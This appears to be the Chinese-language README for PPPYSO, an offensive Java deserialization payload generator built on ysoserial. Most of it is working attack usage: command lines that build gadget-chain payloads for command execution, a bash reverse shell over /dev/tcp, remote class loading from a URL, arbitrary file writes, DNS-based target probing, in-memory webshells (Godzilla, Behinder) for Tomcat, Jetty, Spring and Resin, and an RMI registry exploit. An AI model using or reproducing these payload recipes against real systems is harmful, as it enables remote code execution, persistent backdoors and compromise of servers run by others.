Home

Awesome

PPPYSO

By. Whoopsunix

🌏 Begin

框架分模块构建,每个模块通过一个 Helper 来管理生成内容,可以根据配置生成各种增强 Payload,通过动态代理的方式实现 JavaClass 增强减少依赖的同时兼容 javax/jakarta 标准。包含以下模块:

反序列化模块

参考 Marshalling Pickles 中提到的 gadget chain 概念,将 ysoserial 原先的调用链拆分为入口点 (kick-off), 触发点 (sink),其余为中间的调用链 (chain),针对各个部分针对性增强。

JavaClass 模块

基于子项目 JavaRce ,在实现上不同。PPPYSO 中通过动态代理的方式实现内存马,减少依赖的同时兼容 javax/jakarta 标准。JavaClass 动态类名、内存马、Rce 回显。

Common 模板

实现序列化数据的加解密、序列化等功能

Exploit 模块

交互

目前支持 CLI、Yaml 配置,通过

直接运行生成模板配置文件(写了就放着了不准备维护),并展示支持的调用链

image-20240416174431675

WIKI调用链的分析比较久远也可以看看,之后有时间会尽量补全 gadget chain 图

Gadget ChainBy. Whoopsunix

Cli 通过 java -jar PPPYSO-{version}-jar-with-dependencies.jar -g Coherence1 {-h | -help} 获取帮助信息

image-20240416174734965

编译

项目完全开源,可直接下载 Release 版本,或自行编译,编译成功后在 scheduler/target 下生成 PPPYSO-${version}-jar-with-dependencies.jar

# 安装依赖
mvn clean
# 打包
mvn clean package -Dmaven.test.skip
mvn clean package -DskipTests

0x01 URLDNS 增强

-g URLDNS
-host
-dp
-cn
-ds

URLDNS 支持组件利用链探测和类探测,还在完善中

组件探测

组件探测参考 Urldns 项目实现,改了一些类可以通过 -show 展示目前规则已写的类

image-20240515103534792

eg. -g URLDNS -host 7ox24q.dnslog.cn -dp "all"

image-20240423140746943

image-20240423141545979

类探测

eg. -g URLDNS -host 4hu16z.dnslog.cn -cn "com.ppp.DNSTest" -ds "pppyso"

image-20240423115614913

image-20240423115636521

0x02 增强功能

通过 -e | -enchant 指定增强类型,所有指令忽略大小写

通过 java -jar PPPYSO-{version}-jar-with-dependencies.jar -g commonscollections1 -show 获取调用链支持的增强功能,指令均忽略大小写。

image-20240417155911348

Command 命令执行

-e command
-cmd {whoami}
-cmdt {ScriptEngine}
-split

eg. -g commonscollections1 -e command -cmd "bash -c bash -i >&/dev/tcp/ip/1234 0>&1" -split

image-20240419091148438

ScriptEngine

通过 -cmdt 参数指定命令执行类型为 ScriptEngine

eg. -g commonscollections2 -e command -cmd "open -a Calculator.app" -cmdt ScriptEngine

image-20240419101743213

eg. -g commonscollections2 -e command -cmdt ScriptEngine -code "x=new java.lang.ProcessBuilder;x.command('open','-a','Calculator.app');x.start();"

image-20240419104955526

eg. -g commonscollections2 -e command -cmdt ScriptEngine -cf code.txt

image-20240419110149928

Delay 延时

-e delay
-dt {/s}

eg. -g commonscollections2 -e delay -dt 5

image-20240419110957399

Socket 发起 socket 请求

-e socket
-host {ip:port}

eg. -g commonscollections2 -e socket -host 127.0.0.1:1234

image-20240419111952995

RemoteLoad 远程加载

-e RemoteLoad
-url
-cn
-ctor

eg. -g commonscollections2 -e RemoteLoad -url http://127.0.0.1:1234/ClassLoad-1.0.jar -cn org.example.Exec

image-20240423103555978

image-20240423103622803

FileWrite 文件写入

-e FileWrite
-sfp
-lfp
-fc
-append
-split
-part

eg. -g commonscollections1 -e FileWrite -sfp /tmp/1.jsp -fc 123456

image-20240419134742086

-append 追加写入

image-20240419143818623

-split 设置文件分片后生成, -part 指定每个分片的大小,默认 100kb。不过该功能不建议用在 TemplatesImpl 增强的链,用 Base64 编码只能分片很小。

eg. -g commonscollections1 -e FileWrite -sfp /tmp/itest -lfp /tmp/iox -split -part 1000

image-20240421192532791

0x03 JavaClass 增强

继承 AbstractTranslet

image-20240421232031498

自定义加载

-e JavaClass
-jht Custom
-jfp {filePath}

eg. -g Fastjson -e JavaClass -jht Custom -jfp testms

Rce 回显

通过线程遍历 request 对象实现回显目前测试如下

VersionAuto Version (正在针对实际环境优化中..)
Tomcat6-95-11
Spring
Resin[4.0.52, 4.0.66]
Jetty

可选参数默认都是随机生成的,也可以指定

-e JavaClass
-jht RceEcho
-mw [Tomcat | Jetty ...]
-jt [AutoFind | Default]

-fheader
-frheader

eg. -g commonscollections2 -e JavaClass -jht RceEcho -mw Tomcat -o base64

image-20240422001459366

内存马

内存马这部分的内容还没经过实际环境测试,采用 Loader + Proxy 的方式编写

-e JavaClass
-jht MemShell
-mw [Tomcat | Jetty ...]
-ms [Servlet | Listener | Filter ...]
-msf [Exec | Godzilla ...]
-jt [AutoFind]
-mt [Raw]

-fname
-fheader
-frheader
-fpath
-fkey
-fpass
-flk
-flv

可选参数默认都是随机生成的,也可以指定

remarksExecGodzillaBehinderSuo5(todo jakarta)Version TestAuto Version Test
Tomcat Servlet7-11
Tomcat Filter7-11
Tomcat Listener6.0.35, [7.0.59, 7.0.109], 8, 9, 105-11
Tomcat Executor通过 Header 交互, Thread Auto Find8, 9
Tomcat Valve动态代理没有经过实战测试8
Resin Servlet[4.0.52, 4.0.66]
Resin Filter[4.0.52, 4.0.66]
Resin Listener[4.0.52, 4.0.66]
Jetty Listener9, 107-11
Undertow Servlet2.2.25.Final
Undertow Listener2.2.25.Final
Undertow Filter2.2.25.Final
Spring Controller5.3.28
Spring Interceptor✔ Raw5.3.28

eg. -g commonscollections2 -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -o base64

image-20240422171543240

LocalLoad 本地字节码加载

InvokerTransformer 增强的链子也提供了加载字节码的方式,默认采用 ScriptEngineManager,也可以选择(换汤不换药 懒得删了) org.mozilla.javascript.DefiningClassLoader.defineClass()

-lf [Default | RHINO]

eg. -g commonscollections1 -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -o base64 -lf rhino

JavaClass 封装

JavaClass 也可以单独生成,并且提供加密封装

-je [Script | SPEL | FreeMarker]
-jme [JDK17]

eg. -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -je FreeMarker

eg. 某 FreeMarker 高版本 JDK 环境利用 -e JavaClass -jht MemShell -mw Spring -ms Interceptor -msf Godzilla -je SPEL,FreeMarker -jme JDK17 -mt raw

image-20240504120717253

0x04 Common 模块

输出

-o [Default | GZIP | Base64]
-st [Default | XStream | HexAscii | UTF8Mix]
-save
-close

image-20240423093150806

序列化类型

image-20240423093210772

image-20240423093228895

0x05 其他增强

CB serialVersionUID 冲突

暂时兼容CB,通过 -cb 参数指定,可选 [1.8.3 | 1.6 | 1.5],默认 > 1.9.0 的 serialVersionUID

eg. -g CommonsBeanutils1 -cmd "open -a Calculator.app" -cb 1.8.3

image-20240427090522783

指令CB 版本serialVersionUID
>= 1.9.0-2044202215314119608
1.8.31.7.0 <= <= 1.8.3-3490850999041592962
1.6>= 1.6 or = 20030211.1344402573799559215537819
1.5>= 1.5 or 20021128.082114 > 1.4.15123381023979609048

二次反序列化

eg. -g ROME -cmd "open -a Calculator.app" -wrap

image-20240427105643758

Rome Rometools

-gd [rome | rometools]

image-20240427155050391

0x06 Exploit 模块

在 gadget 增强的前面拼接 exp 使用该模块 ,exp -show 查看支持的 EXP

image-20240515111004602

eg. exp RMIRegistryExploit -g CommonsCollections2 -cmd "open -a Calculator.app" -ehost 127.0.0.1 -eport 1099

image-20240515095932731

Thanks

感谢师傅们的研究,有很大的帮助 :)

@frohoff ysoserial

@mbechler marshalsec

@su18 ysuserial

@wh1t3p1g ysomap

@BeichenDream GodzillaMemoryShellProject

@cckuailong JNDI-Injection-Exploit-Plus

https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/